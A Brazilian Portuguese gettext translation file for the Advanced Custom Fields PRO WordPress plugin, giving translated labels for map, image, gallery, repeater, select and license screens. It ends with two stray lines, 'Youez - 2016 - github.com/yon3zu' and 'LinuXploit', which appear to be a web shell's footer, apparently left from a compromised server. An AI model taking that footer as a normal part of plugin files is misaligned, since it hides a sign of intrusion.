msgstr "Centro inicial do mapa"

#: fields/google-map.php:193
msgid "Zoom"
msgstr "Zoom"

#: fields/google-map.php:194
msgid "Set the initial zoom level"
msgstr "Definir o nível do zoom inicial"

#: fields/google-map.php:203 fields/image.php:257 fields/image.php:290
#: fields/oembed.php:275 pro/fields/gallery.php:696 pro/fields/gallery.php:729
msgid "Height"
msgstr "Altura"

#: fields/google-map.php:204
msgid "Customise the map height"
msgstr "Personalizar a altura do mapa"

#: fields/image.php:36
msgid "Image"
msgstr "Imagem"

#: fields/image.php:51
msgid "Select Image"
msgstr "Selecionar Imagem"

#: fields/image.php:52 pro/fields/gallery.php:53
msgid "Edit Image"
msgstr "Editar Imagem"

#: fields/image.php:53 pro/fields/gallery.php:54
msgid "Update Image"
msgstr "Atualizar Imagem"

#: fields/image.php:55
msgid "All images"
msgstr "Todas as imagens"

#: fields/image.php:144 pro/fields/gallery.php:358 pro/fields/gallery.php:546
msgid "Remove"
msgstr "Remover"

#: fields/image.php:158
msgid "No image selected"
msgstr "Nenhuma imagem selecionada"

#: fields/image.php:158
msgid "Add Image"
msgstr "Adicionar Imagem"

#: fields/image.php:212
msgid "Image Array"
msgstr "Array da Imagem"

#: fields/image.php:213
msgid "Image URL"
msgstr "URL da Imagem"

#: fields/image.php:214
msgid "Image ID"
msgstr "ID da Imagem"

#: fields/image.php:221
msgid "Preview Size"
msgstr "Tamanho da Pré-visualização"

#: fields/image.php:222
msgid "Shown when entering data"
msgstr "Exibido ao inserir os dados"

#: fields/image.php:246 fields/image.php:279 pro/fields/gallery.php:685
#: pro/fields/gallery.php:718
msgid "Restrict which images can be uploaded"
msgstr "Limita as imagens que poderão ser carregadas"

#: fields/image.php:249 fields/image.php:282 fields/oembed.php:264
#: pro/fields/gallery.php:688 pro/fields/gallery.php:721
msgid "Width"
msgstr "Largura"

#: fields/message.php:36 fields/message.php:116 fields/true_false.php:106
msgid "Message"
msgstr "Mensagem"

#: fields/message.php:125 fields/textarea.php:182
msgid "New Lines"
msgstr "Novas Linhas"

#: fields/message.php:126 fields/textarea.php:183
msgid "Controls how new lines are rendered"
msgstr "Controla como as novas linhas são renderizadas"

#: fields/message.php:130 fields/textarea.php:187
msgid "Automatically add paragraphs"
msgstr "Adicionar parágrafos automaticamente"

#: fields/message.php:131 fields/textarea.php:188
msgid "Automatically add &lt;br&gt;"
msgstr "Adicionar &lt;br&gt; automaticamente"

#: fields/message.php:132 fields/textarea.php:189
msgid "No Formatting"
msgstr "Sem Formatação"

#: fields/message.php:139
msgid "Escape HTML"
msgstr "Ignorar HTML"

#: fields/message.php:140
msgid "Allow HTML markup to display as visible text instead of rendering"
msgstr ""
"Permitir que a marcação HTML seja exibida como texto ao invés de ser "
"renderizada"

#: fields/number.php:36
msgid "Number"
msgstr "Número"

#: fields/number.php:186
msgid "Minimum Value"
msgstr "Valor Mínimo"

#: fields/number.php:195
msgid "Maximum Value"
msgstr "Valor Máximo"

#: fields/number.php:204
msgid "Step Size"
msgstr "Tamanho das frações"

#: fields/number.php:242
msgid "Value must be a number"
msgstr "O valor deve ser um número"

#: fields/number.php:260
#, php-format
msgid "Value must be equal to or higher than %d"
msgstr "O valor deve ser igual ou maior que %d"

#: fields/number.php:268
#, php-format
msgid "Value must be equal to or lower than %d"
msgstr "O valor deve ser igual ou menor que %d"

#: fields/oembed.php:36
msgid "oEmbed"
msgstr "oEmbed"

#: fields/oembed.php:212
msgid "Enter URL"
msgstr "Digite a URL"

#: fields/oembed.php:225
msgid "No embed found for the given URL."
msgstr "Nenhuma mídia incorporada encontrada na URL fornecida."

#: fields/oembed.php:261 fields/oembed.php:272
msgid "Embed Size"
msgstr "Tamanho da Mídia incorporada"

#: fields/page_link.php:192
msgid "Archives"
msgstr "Arquivos"

#: fields/page_link.php:500 fields/post_object.php:399
#: fields/relationship.php:709
msgid "Filter by Post Type"
msgstr "Filtrar por Tipo de Post"

#: fields/page_link.php:508 fields/post_object.php:407
#: fields/relationship.php:717
msgid "All post types"
msgstr "Todos os tipos de posts"

#: fields/page_link.php:514 fields/post_object.php:413
#: fields/relationship.php:723
msgid "Filter by Taxonomy"
msgstr "Filtrar por Taxonomia"

#: fields/page_link.php:522 fields/post_object.php:421
#: fields/relationship.php:731
msgid "All taxonomies"
msgstr "Todas as taxonomias"

#: fields/page_link.php:528 fields/post_object.php:427 fields/radio.php:250
#: fields/select.php:464 fields/taxonomy.php:780 fields/user.php:394
msgid "Allow Null?"
msgstr "Permitir Nulo?"

#: fields/page_link.php:542
msgid "Allow Archives URLs"
msgstr "Permitir URLs do Arquivo"

#: fields/page_link.php:556 fields/post_object.php:441 fields/select.php:478
#: fields/user.php:408
msgid "Select multiple values?"
msgstr "Selecionar vários valores?"

#: fields/password.php:36
msgid "Password"
msgstr "Senha"

#: fields/post_object.php:36 fields/post_object.php:460
#: fields/relationship.php:788
msgid "Post Object"
msgstr "Objeto do Post"

#: fields/post_object.php:461 fields/relationship.php:789
msgid "Post ID"
msgstr "ID do Post"

#: fields/radio.php:36
msgid "Radio Button"
msgstr "Botão de Rádio"

#: fields/radio.php:264
msgid "Other"
msgstr "Outro"

#: fields/radio.php:268
msgid "Add 'other' choice to allow for custom values"
msgstr ""
"Adicionar uma opção ‘Outro’ para permitir a inserção de valores "
"personalizados"

#: fields/radio.php:274
msgid "Save Other"
msgstr "Salvar Outro"

#: fields/radio.php:278
msgid "Save 'other' values to the field's choices"
msgstr ""
"Salvar os valores personalizados inseridos na opção ‘Outros’ na lista de "
"escolhas do campo"

#: fields/relationship.php:36
msgid "Relationship"
msgstr "Relação"

#: fields/relationship.php:48
msgid "Minimum values reached ( {min} values )"
msgstr "Quantidade mínima atingida ( {min} item(s) )"

#: fields/relationship.php:49
msgid "Maximum values reached ( {max} values )"
msgstr "Quantidade máxima atingida ( {max} item(s) )"

#: fields/relationship.php:50
msgid "Loading"
msgstr "Carregando"

#: fields/relationship.php:51
msgid "No matches found"
msgstr "Nenhuma correspondência encontrada"

#: fields/relationship.php:590
msgid "Search..."
msgstr "Pesquisar…"

#: fields/relationship.php:599
msgid "Select post type"
msgstr "Selecione o tipo de post"

#: fields/relationship.php:612
msgid "Select taxonomy"
msgstr "Selecione a taxonomia"

#: fields/relationship.php:744 fields/taxonomy.php:36 fields/taxonomy.php:750
msgid "Taxonomy"
msgstr "Taxonomia"

#: fields/relationship.php:751
msgid "Elements"
msgstr "Elementos"

#: fields/relationship.php:752
msgid "Selected elements will be displayed in each result"
msgstr "Os elementos selecionados serão exibidos em cada resultado do filtro"

#: fields/relationship.php:763
msgid "Minimum posts"
msgstr "Qtde. mínima de posts"

#: fields/relationship.php:772
msgid "Maximum posts"
msgstr "Qtde. máxima de posts"

#: fields/relationship.php:876 pro/fields/gallery.php:823
#, php-format
msgid "%s requires at least %s selection"
msgid_plural "%s requires at least %s selections"
msgstr[0] "%s requer a seleção de ao menos %s item"
msgstr[1] "%s requer a seleção de ao menos %s itens"

#: fields/select.php:36 fields/taxonomy.php:772
msgctxt "noun"
msgid "Select"
msgstr "Seleção"

#: fields/select.php:49
msgctxt "Select2 JS matches_1"
msgid "One result is available, press enter to select it."
msgstr "Um resultado localizado, pressione Enter para selecioná-lo."

#: fields/select.php:50
#, php-format
msgctxt "Select2 JS matches_n"
msgid "%d results are available, use up and down arrow keys to navigate."
msgstr ""
"%d resultados localizados, utilize as setas para cima ou baixo para navegar."

#: fields/select.php:51
msgctxt "Select2 JS matches_0"
msgid "No matches found"
msgstr "Nenhuma correspondência encontrada"

#: fields/select.php:52
msgctxt "Select2 JS input_too_short_1"
msgid "Please enter 1 or more characters"
msgstr "Digite 1 ou mais caracteres"

#: fields/select.php:53
#, php-format
msgctxt "Select2 JS input_too_short_n"
msgid "Please enter %d or more characters"
msgstr "Digite %d ou mais caracteres"

#: fields/select.php:54
msgctxt "Select2 JS input_too_long_1"
msgid "Please delete 1 character"
msgstr "Apague 1 caractere"

#: fields/select.php:55
#, php-format
msgctxt "Select2 JS input_too_long_n"
msgid "Please delete %d characters"
msgstr "Apague %d caracteres"

#: fields/select.php:56
msgctxt "Select2 JS selection_too_long_1"
msgid "You can only select 1 item"
msgstr "Você pode selecionar apenas 1 item"

#: fields/select.php:57
#, php-format
msgctxt "Select2 JS selection_too_long_n"
msgid "You can only select %d items"
msgstr "Você pode selecionar apenas %d itens"

#: fields/select.php:58
msgctxt "Select2 JS load_more"
msgid "Loading more results&hellip;"
msgstr "Carregando mais resultados&hellip;"

#: fields/select.php:59
msgctxt "Select2 JS searching"
msgid "Searching&hellip;"
msgstr "Pesquisando&hellip;"

#: fields/select.php:60
msgctxt "Select2 JS load_fail"
msgid "Loading failed"
msgstr "Falha ao carregar"

#: fields/select.php:492
msgid "Stylised UI"
msgstr "Interface do campo aprimorada"

#: fields/select.php:506
msgid "Use AJAX to lazy load choices?"
msgstr "Utilizar AJAX para carregar opções?"

#: fields/select.php:521
msgid "Specify the value returned"
msgstr "Especifique a forma como os valores serão retornados"

#: fields/tab.php:36
msgid "Tab"
msgstr "Aba"

#: fields/tab.php:97
msgid ""
"The tab field will display incorrectly when added to a Table style repeater "
"field or flexible content field layout"
msgstr ""
"O campo Aba será exibido incorretamente quando adicionado em um layout do "
"tipo Tabela de campos repetidores ou de conteúdos flexíveis"

#: fields/tab.php:98
msgid ""
"Use \"Tab Fields\" to better organize your edit screen by grouping fields "
"together."
msgstr ""
"Utilize o campo “Aba” para agrupar seus campos e organizar melhor sua tela "
"de edição."

#: fields/tab.php:99
msgid ""
"All fields following this \"tab field\" (or until another \"tab field\" is "
"defined) will be grouped together using this field's label as the tab "
"heading."
msgstr ""
"Todos os campos que seguirem este campo “Aba” (ou até que outra “Aba” seja "
"definida) ficarão juntos em um grupo que utilizará o rótulo deste campo como "
"título da guia."

#: fields/tab.php:113
msgid "Placement"
msgstr "Posicionamento"

#: fields/tab.php:125
msgid "End-point"
msgstr "Ponto final"

#: fields/tab.php:126
msgid "Use this field as an end-point and start a new group of tabs"
msgstr ""
"Utilizar este campo como um ponto final e iniciar um novo grupo de abas"

#: fields/taxonomy.php:719
msgid "None"
msgstr "Nenhuma"

#: fields/taxonomy.php:751
msgid "Select the taxonomy to be displayed"
msgstr "Selecione a taxonomia que será exibida"

#: fields/taxonomy.php:760
msgid "Appearance"
msgstr "Aparência"

#: fields/taxonomy.php:761
msgid "Select the appearance of this field"
msgstr "Selecione a aparência deste campo"

#: fields/taxonomy.php:766
msgid "Multiple Values"
msgstr "Vários valores"

#: fields/taxonomy.php:768
msgid "Multi Select"
msgstr "Seleção Múltipla"

#: fields/taxonomy.php:770
msgid "Single Value"
msgstr "Um único valor"

#: fields/taxonomy.php:771
msgid "Radio Buttons"
msgstr "Botões de Rádio"

#: fields/taxonomy.php:794
msgid "Create Terms"
msgstr "Criar Termos"

#: fields/taxonomy.php:795
msgid "Allow new terms to be created whilst editing"
msgstr "Permite que novos termos sejam criados diretamente na tela de edição"

#: fields/taxonomy.php:808
msgid "Save Terms"
msgstr "Salvar Termos"

#: fields/taxonomy.php:809
msgid "Connect selected terms to the post"
msgstr "Atribui e conecta os termos selecionados ao post"

#: fields/taxonomy.php:822
msgid "Load Terms"
msgstr "Carregar Termos"

#: fields/taxonomy.php:823
msgid "Load value from posts terms"
msgstr "Carrega os termos que estão atribuídos ao post"

#: fields/taxonomy.php:841
msgid "Term Object"
msgstr "Objeto do Termo"

#: fields/taxonomy.php:842
msgid "Term ID"
msgstr "ID do Termo"

#: fields/taxonomy.php:901
#, php-format
msgid "User unable to add new %s"
msgstr "Usuário incapaz de adicionar novo(a) %s"

#: fields/taxonomy.php:914
#, php-format
msgid "%s already exists"
msgstr "%s já existe"

#: fields/taxonomy.php:955
#, php-format
msgid "%s added"
msgstr "%s adicionado(a)"

#: fields/taxonomy.php:1000
msgid "Add"
msgstr "Adicionar"

#: fields/text.php:36
msgid "Text"
msgstr "Texto"

#: fields/text.php:184 fields/textarea.php:163
msgid "Character Limit"
msgstr "Limite de Caracteres"

#: fields/text.php:185 fields/textarea.php:164
msgid "Leave blank for no limit"
msgstr "Deixe em branco para nenhum limite"

#: fields/textarea.php:36
msgid "Text Area"
msgstr "Área de Texto"

#: fields/textarea.php:172
msgid "Rows"
msgstr "Linhas"

#: fields/textarea.php:173
msgid "Sets the textarea height"
msgstr "Define a altura da área de texto"

#: fields/time_picker.php:36
msgid "Time Picker"
msgstr "Seletor de Hora"

#: fields/true_false.php:36
msgid "True / False"
msgstr "Verdadeiro / Falso"

#: fields/true_false.php:107
msgid "eg. Show extra content"
msgstr "ex.: Mostrar conteúdo adicional"

#: fields/url.php:36
msgid "Url"
msgstr "Url"

#: fields/url.php:168
msgid "Value must be a valid URL"
msgstr "Você deve fornecer uma URL válida"

#: fields/user.php:379
msgid "Filter by role"
msgstr "Filtrar por função"

#: fields/user.php:387
msgid "All user roles"
msgstr "Todas as funções de usuários"

#: fields/wysiwyg.php:37
msgid "Wysiwyg Editor"
msgstr "Editor Wysiwyg"

#: fields/wysiwyg.php:331
msgid "Visual"
msgstr "Visual"

#: fields/wysiwyg.php:332
msgctxt "Name for the Text editor tab (formerly HTML)"
msgid "Text"
msgstr "Texto"

#: fields/wysiwyg.php:388
msgid "Tabs"
msgstr "Abas"

#: fields/wysiwyg.php:393
msgid "Visual & Text"
msgstr "Visual & Texto"

#: fields/wysiwyg.php:394
msgid "Visual Only"
msgstr "Apenas Visual"

#: fields/wysiwyg.php:395
msgid "Text Only"
msgstr "Apenas Texto"

#: fields/wysiwyg.php:402
msgid "Toolbar"
msgstr "Barra de Ferramentas"

#: fields/wysiwyg.php:412
msgid "Show Media Upload Buttons?"
msgstr "Mostrar Botões de Upload de Mídia?"

#: forms/comment.php:166 forms/post.php:295 pro/admin/options-page.php:416
msgid "Edit field group"
msgstr "Editar Grupo de Campos"

#: forms/widget.php:235
#, php-format
msgid "1 field requires attention."
msgid_plural "%d fields require attention."
msgstr[0] "1 campo requer a sua atenção."
msgstr[1] "%d campos requerem sua atenção."

#: pro/acf-pro.php:24
msgid "Advanced Custom Fields PRO"
msgstr "Advanced Custom Fields PRO"

#: pro/acf-pro.php:192
msgid "Flexible Content requires at least 1 layout"
msgstr "O campo de Conteúdo Flexível requer pelo menos 1 layout"

#: pro/admin/options-page.php:49
msgid "Options Page"
msgstr "Página de Opções"

#: pro/admin/options-page.php:85
msgid "No options pages exist"
msgstr "Não existem Páginas de Opções disponíveis"

#: pro/admin/options-page.php:303
msgid "Options Updated"
msgstr "Opções Atualizadas"

#: pro/admin/options-page.php:309
msgid "Publish"
msgstr "Publicar"

#: pro/admin/options-page.php:315
msgid "No Custom Field Groups found for this options page. <a href=\"%s\">Create a Custom Field Group</a>"
msgstr "Nenhum Grupo de Campos Personalizados encontrado para esta página de opções. <a href=\"%s\">Criar um Grupo de Campos Personalizado</a>"

#: pro/admin/settings-updates.php:87
msgid "<b>Error</b>. Could not connect to update server"
msgstr "<b>Erro</b>. Não foi possível conectar ao servidor de atualização"

#: pro/admin/views/settings-updates.php:11
msgid "Deactivate License"
msgstr "Desativar Licença"

#: pro/admin/views/settings-updates.php:11
msgid "Activate License"
msgstr "Ativar Licença"

#: pro/admin/views/settings-updates.php:21
msgid "License Information"
msgstr "Informações da Licença"

#: pro/admin/views/settings-updates.php:24
#, php-format
msgid ""
"To unlock updates, please enter your license key below. If you don't have a "
"licence key, please see <a href=\"%s\" target=\"_blank\">details & pricing</"
"a>."
msgstr ""
"Para desbloquear as atualizações, digite sua chave de licença abaixo. Se "
"você não possui uma licença, consulte os <a href=\"%s\" target=\"_blank"
"\">detalhes e preços</a>."

#: pro/admin/views/settings-updates.php:33
msgid "License Key"
msgstr "Chave de Licença"

#: pro/admin/views/settings-updates.php:65
msgid "Update Information"
msgstr "Informações de Atualização"

#: pro/admin/views/settings-updates.php:72
msgid "Current Version"
msgstr "Versão Atual"

#: pro/admin/views/settings-updates.php:80
msgid "Latest Version"
msgstr "Versão mais Recente"

#: pro/admin/views/settings-updates.php:88
msgid "Update Available"
msgstr "Atualização Disponível"

#: pro/admin/views/settings-updates.php:96
msgid "Update Plugin"
msgstr "Atualizar Plugin"

#: pro/admin/views/settings-updates.php:98
msgid "Please enter your license key above to unlock updates"
msgstr "Digite sua chave de licença acima para desbloquear atualizações"

#: pro/admin/views/settings-updates.php:104
msgid "Check Again"
msgstr "Verificar Novamente"

#: pro/admin/views/settings-updates.php:121
msgid "Upgrade Notice"
msgstr "Aviso de Atualização"

#: pro/api/api-options-page.php:22 pro/api/api-options-page.php:23
msgid "Options"
msgstr "Opções"

#: pro/core/updates.php:206
#, php-format
msgid ""
"To enable updates, please enter your license key on the <a href=\"%s"
"\">Updates</a> page. If you don't have a licence key, please see <a href=\"%s"
"\">details & pricing</a>."
msgstr ""
"Para ativar atualizações, digite sua chave de licença  na página <a "
"href=“%s”>Atualizações</a>. Se você não possui uma licença, consulte os <a "
"href=“%s”>detalhes e preços</a>."

#: pro/fields/clone.php:36
msgctxt "noun"
msgid "Clone"
msgstr "Clone"

#: pro/fields/clone.php:680
msgid "Select one or more fields you wish to clone"
msgstr "Selecione um ou mais campos que deseja clonar"

#: pro/fields/clone.php:695
msgid "Display"
msgstr "Exibição"

#: pro/fields/clone.php:696
msgid "Specify the style used to render the clone field"
msgstr "Especifique o estilo utilizado para exibir o campo de clone"

#: pro/fields/clone.php:701
msgid "Group (displays selected fields in a group within this field)"
msgstr "Grupo (mostra os campos selecionados em um grupo dentro deste campo)"

#: pro/fields/clone.php:702
msgid "Seamless (replaces this field with selected fields)"
msgstr "Sem bordas (substitui este campo pelos campos selecionados)"

#: pro/fields/clone.php:710
msgid "Specify the style used to render the selected fields"
msgstr "Especifique o estilo utilizado para exibir os campos selecionados"

#: pro/fields/clone.php:715 pro/fields/flexible-content.php:555
#: pro/fields/repeater.php:467
msgid "Block"
msgstr "Bloco"

#: pro/fields/clone.php:716 pro/fields/flexible-content.php:554
#: pro/fields/repeater.php:466
msgid "Table"
msgstr "Tabela"

#: pro/fields/clone.php:717 pro/fields/flexible-content.php:556
#: pro/fields/repeater.php:468
msgid "Row"
msgstr "Linha"

#: pro/fields/clone.php:723
#, php-format
msgid "Labels will be displayed as %s"
msgstr "Os rótulos serão exibidos como %s"

#: pro/fields/clone.php:726
msgid "Prefix Field Labels"
msgstr "Prefixo dos Rótulos dos Campos"

#: pro/fields/clone.php:741
#, php-format
msgid "Values will be saved as %s"
msgstr "Valores serão salvos como %s"

#: pro/fields/clone.php:744
msgid "Prefix Field Names"
msgstr "Prefixo dos Nomes dos Campos"

#: pro/fields/clone.php:900
#, php-format
msgid "All fields from %s field group"
msgstr "Todos os campos do grupo de campos %s"

#: pro/fields/flexible-content.php:36
msgid "Flexible Content"
msgstr "Conteúdo Flexível"

#: pro/fields/flexible-content.php:42 pro/fields/repeater.php:43
msgid "Add Row"
msgstr "Adicionar Linha"

#: pro/fields/flexible-content.php:45
msgid "layout"
msgstr "layout"

#: pro/fields/flexible-content.php:46
msgid "layouts"
msgstr "layouts"

#: pro/fields/flexible-content.php:47
msgid "remove {layout}?"
msgstr "remover {layout}?"

#: pro/fields/flexible-content.php:48
msgid "This field requires at least {min} {identifier}"
msgstr "Este campo requer ao menos {min} {identifier}"

#: pro/fields/flexible-content.php:49
msgid "This field has a limit of {max} {identifier}"
msgstr "Este campo tem um limite de {max} {identifier}"

#: pro/fields/flexible-content.php:50
msgid "This field requires at least {min} {label} {identifier}"
msgstr "Este campo requer ao menos {min} {label} {identifier}"

#: pro/fields/flexible-content.php:51
msgid "Maximum {label} limit reached ({max} {identifier})"
msgstr "A quantidade máxima de {label} foi atingida ({max} {identifier})"

#: pro/fields/flexible-content.php:52
msgid "{available} {label} {identifier} available (max {max})"
msgstr "{available} {label} {identifier} disponível (máx {max})"

#: pro/fields/flexible-content.php:53
msgid "{required} {label} {identifier} required (min {min})"
msgstr "{required} {label} {identifier} obrigatório (mín {min})"

#: pro/fields/flexible-content.php:220
#, php-format
msgid "Click the \"%s\" button below to start creating your layout"
msgstr "Clique no botão “%s” abaixo para iniciar a criação do seu layout"

#: pro/fields/flexible-content.php:350
msgid "Add layout"
msgstr "Adicionar layout"

#: pro/fields/flexible-content.php:353
msgid "Remove layout"
msgstr "Remover layout"

#: pro/fields/flexible-content.php:356 pro/fields/repeater.php:304
msgid "Click to toggle"
msgstr "Clique para alternar"

#: pro/fields/flexible-content.php:497
msgid "Reorder Layout"
msgstr "Reordenar Layout"

#: pro/fields/flexible-content.php:497
msgid "Reorder"
msgstr "Reordenar"

#: pro/fields/flexible-content.php:498
msgid "Delete Layout"
msgstr "Excluir Layout"

#: pro/fields/flexible-content.php:499
msgid "Duplicate Layout"
msgstr "Duplicar Layout"

#: pro/fields/flexible-content.php:500
msgid "Add New Layout"
msgstr "Adicionar Novo Layout"

#: pro/fields/flexible-content.php:571
msgid "Min"
msgstr "Mín."

#: pro/fields/flexible-content.php:584
msgid "Max"
msgstr "Máx."

#: pro/fields/flexible-content.php:612 pro/fields/repeater.php:475
msgid "Button Label"
msgstr "Rótulo do Botão"

#: pro/fields/flexible-content.php:621
msgid "Minimum Layouts"
msgstr "Qtde. Mínima de Layouts"

#: pro/fields/flexible-content.php:630
msgid "Maximum Layouts"
msgstr "Qtde. Máxima de Layouts"

#: pro/fields/gallery.php:36
msgid "Gallery"
msgstr "Galeria"

#: pro/fields/gallery.php:52
msgid "Add Image to Gallery"
msgstr "Adicionar Imagem à Galeria"

#: pro/fields/gallery.php:56
msgid "Maximum selection reached"
msgstr "A quantidade máxima de seleções foi atingida"

#: pro/fields/gallery.php:336
msgid "Length"
msgstr "Duração"

#: pro/fields/gallery.php:379
msgid "Caption"
msgstr "Legenda"

#: pro/fields/gallery.php:388
msgid "Alt Text"
msgstr "Texto Alternativo"

#: pro/fields/gallery.php:559
msgid "Add to gallery"
msgstr "Adicionar à galeria"

#: pro/fields/gallery.php:563
msgid "Bulk actions"
msgstr "Ações em massa"

#: pro/fields/gallery.php:564
msgid "Sort by date uploaded"
msgstr "Ordenar por data de envio"

#: pro/fields/gallery.php:565
msgid "Sort by date modified"
msgstr "Ordenar por data de modificação"

#: pro/fields/gallery.php:566
msgid "Sort by title"
msgstr "Ordenar por título"

#: pro/fields/gallery.php:567
msgid "Reverse current order"
msgstr "Inverter ordem atual"

#: pro/fields/gallery.php:585
msgid "Close"
msgstr "Fechar"

#: pro/fields/gallery.php:639
msgid "Minimum Selection"
msgstr "Qtde. Mínima de Seleções"

#: pro/fields/gallery.php:648
msgid "Maximum Selection"
msgstr "Qtde. Máxima de Seleções"

#: pro/fields/gallery.php:657
msgid "Insert"
msgstr "Inserir"

#: pro/fields/gallery.php:658
msgid "Specify where new attachments are added"
msgstr "Especifique onde os novos anexos serão adicionados"

#: pro/fields/gallery.php:662
msgid "Append to the end"
msgstr "Adicionar no final da galeria"

#: pro/fields/gallery.php:663
msgid "Prepend to the beginning"
msgstr "Adicionar no início da galeria"

#: pro/fields/repeater.php:36
msgid "Repeater"
msgstr "Repetidor"

#: pro/fields/repeater.php:47
msgid "Minimum rows reached ({min} rows)"
msgstr "Quantidade mínima atingida ( {min} linha(s) )"

#: pro/fields/repeater.php:48
msgid "Maximum rows reached ({max} rows)"
msgstr "Quantidade máxima atingida ( {max} linha(s) )"

#: pro/fields/repeater.php:349
msgid "Add row"
msgstr "Adicionar linha"

#: pro/fields/repeater.php:350
msgid "Remove row"
msgstr "Remover linha"

#: pro/fields/repeater.php:398
msgid "Sub Fields"
msgstr "Sub Campos"

#: pro/fields/repeater.php:428
msgid "Collapsed"
msgstr "Recolher"

#: pro/fields/repeater.php:429
msgid "Select a sub field to show when row is collapsed"
msgstr "Selecione um sub campo para exibir quando a linha estiver recolhida"

#: pro/fields/repeater.php:439
msgid "Minimum Rows"
msgstr "Qtde. Mínima de Linhas"

#: pro/fields/repeater.php:449
msgid "Maximum Rows"
msgstr "Qtde. Máxima de Linhas"

#~ msgid "Select"
#~ msgstr "Seleção"

#~ msgctxt "Field label"
#~ msgid "Clone"
#~ msgstr "Clone"

#~ msgctxt "Field instruction"
#~ msgid "Clone"
#~ msgstr "Clone"

#~ msgid "<b>Connection Error</b>. Sorry, please try again"
#~ msgstr "<b>Erro de Conexão</b>. Tente novamente"

#~ msgid "https://www.advancedcustomfields.com/"
#~ msgstr "https://www.advancedcustomfields.com/"

#~ msgid "Customise WordPress with powerful, professional and intuitive fields"
#~ msgstr ""
#~ "Personalize o WordPress com campos personalizados profissionais, "
#~ "poderosos e intuitivos"

#~ msgid "Elliot Condon"
#~ msgstr "Elliot Condon"

#~ msgid "http://www.elliotcondon.com/"
#~ msgstr "http://www.elliotcondon.com/"

Youez - 2016 - github.com/yon3zu
LinuXploit